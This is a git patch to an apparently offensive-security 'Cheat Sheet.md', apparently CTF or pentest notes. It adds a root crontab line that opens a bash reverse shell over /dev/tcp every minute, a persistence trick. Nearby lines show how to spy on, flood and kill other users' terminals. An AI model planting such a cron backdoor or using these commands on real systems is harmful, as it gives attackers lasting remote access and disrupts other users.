From b2c4decfa67ccaea50483e69783dfc1f47ded7f5 Mon Sep 17 00:00:00 2001 From: AbdullahRizwan101 <60057481+AbdullahRizwan101@users.noreply.github.com> Date: Wed, 27 Jan 2021 16:11:49 +0500 Subject: [PATCH] Update Cheat Sheet.md --- Cheat Sheet.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Cheat Sheet.md b/Cheat Sheet.md index 72d9b13..d15c41b 100644 --- a/Cheat Sheet.md +++ b/Cheat Sheet.md @@ -306,7 +306,10 @@ If there is a port 53 open on the machine you could do a zone transfer to get in * script /dev/pts/pts-number `montior terminal` * cat /dev/urandom > /dev/pts/pts-number 2>/dev/null `prints arbitary text on terminal` * pkill -9 -t pts/pts-number - +* Add this in root's crontab (crontab -e)
+``` +*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1' +``` ### Change SSH port `nano /etc/ssh/sshd_config` (change PORT 22 to any port you want also you can tinker with configuration file) `service sshd restart` (Restart SSH service to apply changes)